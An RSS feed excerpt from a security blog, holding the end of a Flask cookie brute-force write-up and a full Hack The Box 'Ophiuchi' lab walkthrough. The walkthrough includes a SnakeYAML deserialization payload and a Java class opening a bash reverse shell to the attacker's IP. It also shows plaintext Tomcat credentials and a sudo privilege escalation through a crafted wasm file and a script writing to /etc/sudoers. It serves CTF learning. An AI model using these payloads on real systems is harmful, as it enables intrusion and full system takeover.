<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">  "username"</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> "admin"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">}</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Payload</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> =</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> b�GT</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Signature</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> =</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> "hI60VI2SDkUQOnxmrbw1T7tX50w"</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>These headers are often linked to Flask applications.</p>
<p>The tool <code>flask-unsign</code> was downloaded and used :</p>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> flask-unsign --decode --cookie </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYWRtaW4ifQ.YrBHVA.hI60VI2SDkUQOnxmrbw1T7tX50w'</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">{</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">'logged_in'</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> True,</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 'username':</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 'admin'}</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div></div></div><p>The cookie is encrypted with a secret. The secret key might be weak. A brute force was tried :</p>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> flask-unsign --unsign --cookie </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYWRtaW4ifQ.YrBHVA.hI60VI2SDkUQOnxmrbw1T7tX50w'</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">*</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">] Session decodes to: {</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">'logged_in'</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> True,</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 'username':</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 'admin'}</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">*</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">] No wordlist selected, falling back to default wordlist..</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">*</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">] Starting brute-forcer with 8 threads..</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">*</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">] Attempted (</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">2432</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">):</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div>]]></content:encoded>
      <enclosure url="https://blog.hophouse.fr/htb-header.png" type="image/png"/>
    </item>
    <item>
      <title>Ophiuchi</title>
      <link>https://blog.hophouse.fr/posts/Hack%20The%20Box/Htb-Ophiuchi.html</link>
      <guid>https://blog.hophouse.fr/posts/Hack%20The%20Box/Htb-Ophiuchi.html</guid>
      <source url="https://blog.hophouse.fr/rss.xml">Ophiuchi</source>
      <description>box_informationsbox_informations Scan As usual, both TCP and UDP port scans were done on the box. The TCP scan revealed that the following ports are open: TCP scan TCP scan show...</description>
      <category>Write-Up</category>
      <pubDate>Wed, 23 Jun 2021 00:00:00 GMT</pubDate>
      <content:encoded><![CDATA[<figure><figcaption>box_informations</figcaption></figure>
<h2>Scan</h2>
<p>As usual, both TCP and UDP port scans were done on the box. The TCP scan revealed that the following ports are open:</p>
<h3>TCP scan</h3>
<p>TCP scan shows that their is only 2 ports listening.</p>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> nmap -p- -Pn --open -iL ../input_ip.txt -oA nmap_open_tcp_ports</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><h3>UDP Scan</h3>
<p>The UDP scan shows no port open.</p>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> nmap -sU -Pn --open -iL ../input_ip.txt -oA nmap_open_udp_ports</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><h2>User flag</h2>
<p>The Web application displays a page where it is possible to send YAML code to an online parser.</p>
<figure><figcaption>yaml-parser</figcaption></figure>
<p>When data is submitted, the site displays an information message :</p>
<figure><figcaption>yaml-error-message</figcaption></figure>
<p>By sending a payload containing a special character like <code>"</code>, it is possible to get a stack trace with the function involved.</p>
<figure><figcaption>yaml-error</figcaption></figure>
<p>It looked like the application is using snameyaml to deserilize YAML objects. This library is prone to a vulnaribility when code is directly loaded from the user. More information can be found on this blog post <a href="https://swapneildash.medium.com/snakeyaml-deserilization-exploited-b4a2c5ac0858" target="_blank" rel="noopener noreferrer">https://swapneildash.medium.com/snakeyaml-deserilization-exploited-b4a2c5ac0858</a>.</p>
<p>The following payload was sent in order to verify that the flaw exists :</p>
<div class="language- line-numbers-mode" data-highlighter="shiki" data-ext="" data-title="" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span>!!javax.script.ScriptEngineManager [</span></span>
<span class="line"><span>  !!java.net.URLClassLoader [[</span></span>
<span class="line"><span>    !!java.net.URL ["http://10.10.14.39:8000"]</span></span>
<span class="line"><span>  ]]</span></span>
<span class="line"><span>]</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>The listening Web server received a connection that validates the presence of the vulnerability.</p>
<figure><figcaption>yaml-receive</figcaption></figure>
<p>Using this payload <a href="https://github.com/artsploit/yaml-payload" target="_blank" rel="noopener noreferrer">https://github.com/artsploit/yaml-payload</a> with the following code :</p>
<div class="language-java line-numbers-mode" data-highlighter="shiki" data-ext="java" data-title="java" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">package</span><span style="--shiki-light:#24292E;--shiki-dark:#C678DD"> artsploit</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">;</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">import</span><span style="--shiki-light:#24292E;--shiki-dark:#E5C07B"> javax.script.ScriptEngine</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">;</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">import</span><span style="--shiki-light:#24292E;--shiki-dark:#E5C07B"> javax.script.ScriptEngineFactory</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">;</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">import</span><span style="--shiki-light:#24292E;--shiki-dark:#E5C07B"> java.io.IOException</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">;</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">import</span><span style="--shiki-light:#24292E;--shiki-dark:#E5C07B"> java.util.List</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">;</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">import</span><span style="--shiki-light:#24292E;--shiki-dark:#E5C07B"> java.util.Base64</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">;</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">import</span><span style="--shiki-light:#24292E;--shiki-dark:#E5C07B"> java.util.concurrent.TimeUnit</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">;</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">public</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> class</span><span style="--shiki-light:#6F42C1;--shiki-dark:#E5C07B"> AwesomeScriptEngineFactory</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> implements</span><span style="--shiki-light:#6F42C1;--shiki-dark:#E5C07B"> ScriptEngineFactory</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> {</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">	public</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF"> AwesomeScriptEngineFactory</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">()</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> {</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">		try</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> {</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E5C07B">			String</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75"> cmd</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> =</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> "bash -i &gt;&amp; /dev/tcp/10.10.14.39/4444 0&gt;&amp;1"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">;</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E5C07B">      String</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75"> b64Cmd</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> =</span><span style="--shiki-light:#24292E;--shiki-dark:#E5C07B"> Base64</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">getEncoder</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">().</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">encodeToString</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E5C07B">cmd</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">getBytes</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">());</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">			cmd </span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">=</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> "bash -c {echo,"</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">+</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">b64Cmd</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">+</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"}|{base64,-d}|{bash,-i}"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">;</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E5C07B">			Runtime</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">getRuntime</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">()</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">				.</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">exec</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(cmd)</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">				.</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">waitFor</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">30</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, </span><span style="--shiki-light:#24292E;--shiki-dark:#E5C07B">TimeUnit</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E5C07B">SECONDS</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">);</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">		} </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">catch</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (</span><span style="--shiki-light:#24292E;--shiki-dark:#E5C07B">Exception</span><span style="--shiki-light:#E36209;--shiki-light-font-style:inherit;--shiki-dark:#E06C75;--shiki-dark-font-style:italic"> e</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) {</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">			//e.printStackTrace();</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">		}</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">	}</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>I was able to retrieve an access as the user <code>tomcat</code> to the machine.</p>
<figure><figcaption>tomcat-user-reverse</figcaption></figure>
<p>The file <code>/opt/tomcat/conf/tomcat-users.xml</code> contains sensitive information such as the credentials of the user <code>admin</code>.</p>
<div class="language-xml line-numbers-mode" data-highlighter="shiki" data-ext="xml" data-title="xml" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&lt;?</span><span style="--shiki-light:#22863A;--shiki-dark:#E06C75">xml</span><span style="--shiki-light:#6F42C1;--shiki-dark:#D19A66"> version</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">=</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"1.0"</span><span style="--shiki-light:#6F42C1;--shiki-dark:#D19A66"> encoding</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">=</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"UTF-8"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">?&gt;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&lt;</span><span style="--shiki-light:#22863A;--shiki-dark:#E06C75">tomcat-users</span><span style="--shiki-light:#6F42C1;--shiki-dark:#D19A66"> xmlns</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">=</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"http://tomcat.apache.org/xml"</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#D19A66">              xmlns:xsi</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">=</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"http://www.w3.org/2001/XMLSchema-instance"</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#D19A66">              xsi:schemaLocation</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">=</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"http://tomcat.apache.org/xml tomcat-users.xsd"</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#D19A66">        version</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">=</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"1.0"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&gt;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&lt;</span><span style="--shiki-light:#22863A;--shiki-dark:#E06C75">user</span><span style="--shiki-light:#6F42C1;--shiki-dark:#D19A66"> username</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">=</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"admin"</span><span style="--shiki-light:#6F42C1;--shiki-dark:#D19A66"> password</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">=</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"whythereisalimit"</span><span style="--shiki-light:#6F42C1;--shiki-dark:#D19A66"> roles</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">=</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"manager-gui,admin-gui"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">/&gt;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&lt;/</span><span style="--shiki-light:#22863A;--shiki-dark:#E06C75">tomcat-users</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&gt;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">tomcat@ophiuchi:~/conf$</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>It is then possible to use the couple <code>admin:whythereisalimit</code> to log in as <code>admin</code> in SSH.</p>
<figure><figcaption>admin-ssh</figcaption></figure>
<h3>Flag</h3>
<p>The user flag was retrieved on the machine.</p>
<figure><figcaption>user-flag</figcaption></figure>
<h2>Root</h2>
<p>Checking the <code>sudo -l</code> command, it is possible to find that the user <code>admin</code> is abble to execute a go function.</p>
<div class="language- line-numbers-mode" data-highlighter="shiki" data-ext="" data-title="" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span>admin@ophiuchi:~$ sudo -l</span></span>
<span class="line"><span>Matching Defaults entries for admin on ophiuchi:</span></span>
<span class="line"><span>    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin</span></span>
<span class="line"><span></span></span>
<span class="line"><span>User admin may run the following commands on ophiuchi:</span></span>
<span class="line"><span>    (ALL) NOPASSWD: /usr/bin/go run /opt/wasm-functions/index.go</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>Information about the file was gathered.</p>
<div class="language- line-numbers-mode" data-highlighter="shiki" data-ext="" data-title="" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span>admin@ophiuchi:~$ ls -lah /opt/wasm-functions/index.go</span></span>
<span class="line"><span>-rw-rw-r-- 1 root root 522 Oct 14  2020 /opt/wasm-functions/index.go</span></span>
<span class="line"><span>admin@ophiuchi:~$ cat  /opt/wasm-functions/index.go</span></span>
<span class="line"><span>package main</span></span>
<span class="line"><span></span></span>
<span class="line"><span>import (</span></span>
<span class="line"><span>        "fmt"</span></span>
<span class="line"><span>        wasm "github.com/wasmerio/wasmer-go/wasmer"</span></span>
<span class="line"><span>        "os/exec"</span></span>
<span class="line"><span>        "log"</span></span>
<span class="line"><span>)</span></span>
<span class="line"><span></span></span>
<span class="line"><span></span></span>
<span class="line"><span>func main() {</span></span>
<span class="line"><span>        bytes, _ := wasm.ReadBytes("main.wasm")</span></span>
<span class="line"><span></span></span>
<span class="line"><span>        instance, _ := wasm.NewInstance(bytes)</span></span>
<span class="line"><span>        defer instance.Close()</span></span>
<span class="line"><span>        init := instance.Exports["info"]</span></span>
<span class="line"><span>        result,_ := init()</span></span>
<span class="line"><span>        f := result.String()</span></span>
<span class="line"><span>        if (f != "1") {</span></span>
<span class="line"><span>                fmt.Println("Not ready to deploy")</span></span>
<span class="line"><span>        } else {</span></span>
<span class="line"><span>                fmt.Println("Ready to deploy")</span></span>
<span class="line"><span>                out, err := exec.Command("/bin/sh", "deploy.sh").Output()</span></span>
<span class="line"><span>                if err != nil {</span></span>
<span class="line"><span>                        log.Fatal(err)</span></span>
<span class="line"><span>                }</span></span>
<span class="line"><span>                fmt.Println(string(out))</span></span>
<span class="line"><span>        }</span></span>
<span class="line"><span>}</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>A couple of things caught up the eyes :</p>
<ol>
<li>The program is taking a relative path for the WebAssembly binary <code>main.wasm</code>. Therefore an arbitrary bunary could be used.</li>
<li>The <code>info</code> function is exported from the <code>main.wasm</code> WebAssembly binary and run. The expected result an integer that will be transfromed in a string. If the string is <code>1</code>, therefore the program will run the script <code>deploy.sh</code>.</li>
<li>The script <code>deploy.sh</code> is taken from a relative path, and therefore could be any arbitrary script called <code>deploy.sh</code>.</li>
</ol>
<p>I compiled on my machine a WebAssemby binary that will export an <code>info</code> function and will return <code>1</code> :</p>
<div class="language- line-numbers-mode" data-highlighter="shiki" data-ext="" data-title="" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span>&gt; curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh</span></span>
<span class="line"><span></span></span>
<span class="line"><span>&gt; source $HOME/.cargo/env</span></span>
<span class="line"><span></span></span>
<span class="line"><span>&gt; rustup target add wasm32-unknown-unknown</span></span>
<span class="line"><span></span></span>
<span class="line"><span>&gt; cargo install wasm-gc</span></span>
<span class="line"><span></span></span>
<span class="line"><span>&gt; cargo new main --lib</span></span>
<span class="line"><span></span></span>
<span class="line"><span>&gt; cd main/</span></span>
<span class="line"><span></span></span>
<span class="line"><span>&gt; cat Cargo.toml</span></span>
<span class="line"><span>[package]</span></span>
<span class="line"><span>name = "main"</span></span>
<span class="line"><span>version = "0.1.0"</span></span>
<span class="line"><span>edition = "2018"</span></span>
<span class="line"><span></span></span>
<span class="line"><span># See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html</span></span>
<span class="line"><span></span></span>
<span class="line"><span>[dependencies]</span></span>
<span class="line"><span></span></span>
<span class="line"><span># new material</span></span>
<span class="line"><span>[lib]</span></span>
<span class="line"><span>crate-type = ["cdylib"]</span></span>
<span class="line"><span></span></span>
<span class="line"><span>&gt; cat src/lib.rs</span></span>
<span class="line"><span></span></span>
<span class="line"><span>&gt; cargo build --target wasm32-unknown-unknown --release</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>The <code>main.wasm</code> file was uploaded on the box.</p>
<p>The following <code>deploy.sh</code> script was created :</p>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">#!/bin/bash</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">echo</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 'admin  ALL=(ALL) NOPASSWD:ALL'</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> &gt;&gt;</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> /etc/sudoers</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>The following structure was used :</p>
<div class="language- line-numbers-mode" data-highlighter="shiki" data-ext="" data-title="" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span>admin@ophiuchi:/tmp/exploit$ ls -lah ./</span></span>
<span class="line"><span>total 1.5M</span></span>
<span class="line"><span>drwxrwxr-x  2 admin admin 4.0K Jun 23 09:42 .</span></span>
<span class="line"><span>drwxrwxrwt 13 root  root  4.0K Jun 23 09:41 ..</span></span>
<span class="line"><span>-rw-r--r--  1 admin admin   66 Jun 23 09:42 deploy.sh</span></span>
<span class="line"><span>-rw-rw-r--  1 admin admin 1.5M Jun 23 09:36 main.wasm</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>The following command was launched <code>sudo /usr/bin/go run /opt/wasm-functions/index.go</code> in order to execute the attack.</p>
